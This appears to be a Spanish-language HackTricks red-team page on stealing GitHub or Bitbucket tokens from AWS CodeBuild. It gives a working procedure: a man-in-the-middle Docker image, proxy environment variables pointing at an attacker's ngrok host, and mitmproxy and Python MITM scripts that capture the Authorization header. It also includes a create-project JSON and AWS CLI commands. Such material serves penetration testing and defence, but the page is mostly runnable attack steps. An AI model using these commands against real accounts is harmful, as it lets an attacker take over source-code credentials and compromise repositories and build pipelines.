AWS Codebuild - Token Leakage

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Recuperar Tokens Configurados de Github/Bitbucket

Primero, verifica si hay credenciales de origen configuradas que puedas filtrar:

aws codebuild list-source-credentials

A través de la imagen Docker

Si descubres que la autenticación, por ejemplo en Github, está configurada en la cuenta, puedes filtrar ese acceso (token de GH u OAuth) haciendo que Codebuild utilice una imagen Docker específica para ejecutar la compilación del proyecto.

Para esto podrías crear un nuevo proyecto de Codebuild o cambiar el entorno de uno existente para establecer la imagen Docker.

La imagen Docker que podrías usar es https://github.com/carlospolop/docker-mitm. Esta es una imagen Docker muy básica que establecerá las variables de entorno https_proxy, http_proxy y SSL_CERT_FILE. Esto te permitirá interceptar la mayoría del tráfico del host indicado en https_proxy y http_proxy y confiar en el CERT SSL indicado en SSL_CERT_FILE.

  1. Crear y cargar tu propia imagen Docker MitM

  • Sigue las instrucciones del repositorio para configurar la dirección IP de tu proxy y establecer tu certificado SSL y compilar la imagen Docker.

  • NO ESTABLEZCAS http_proxy para no interceptar las solicitudes al punto de conexión de metadatos.

  • Podrías usar ngrok como ngrok tcp 4444 para establecer el proxy en tu host.

  • Una vez que hayas compilado la imagen Docker, cárgala en un repositorio público (Dockerhub, ECR...)

  1. Establecer el entorno

  • Crea un nuevo proyecto de Codebuild o modifica el entorno de uno existente.

  • Establece que el proyecto utilice la imagen Docker generada anteriormente

  1. Establecer el proxy MitM en tu host

  • Como se indica en el repositorio de Github, podrías usar algo como:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

La versión de mitmproxy utilizada fue la 9.0.1, se informó que con la versión 10 esto podría no funcionar.

  1. Ejecutar la compilación y capturar las credenciales

  • Puedes ver el token en el encabezado Authorization:

Esto también se podría hacer desde la aws cli con algo como

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

A través del protocolo HTTP

Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Por lo tanto, un atacante ya no puede abusar de ella :)

Un atacante con permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket configurado o, si los permisos se configuraron a través de OAuth, el token OAuth temporal utilizado para acceder al código.

  • Un atacante podría agregar las variables de entorno http_proxy y https_proxy al proyecto de CodeBuild apuntando a su máquina (por ejemplo http://5.tcp.eu.ngrok.io:14972).

  • Luego, cambiar la URL del repositorio de github para usar HTTP en lugar de HTTPS, por ejemplo: **http://**github.com/carlospolop-forks/TestActions

  • Luego, ejecutar el ejemplo básico desde https://github.com/synchronizing/mitm en el puerto apuntado por las variables de proxy (http_proxy y https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finalmente, haz clic en Construir el proyecto, las credenciales serán enviadas en texto claro (base64) al puerto mitm:

Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y abusar de ellos más fácilmente que utilizando el servicio CodeBuild directamente.

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización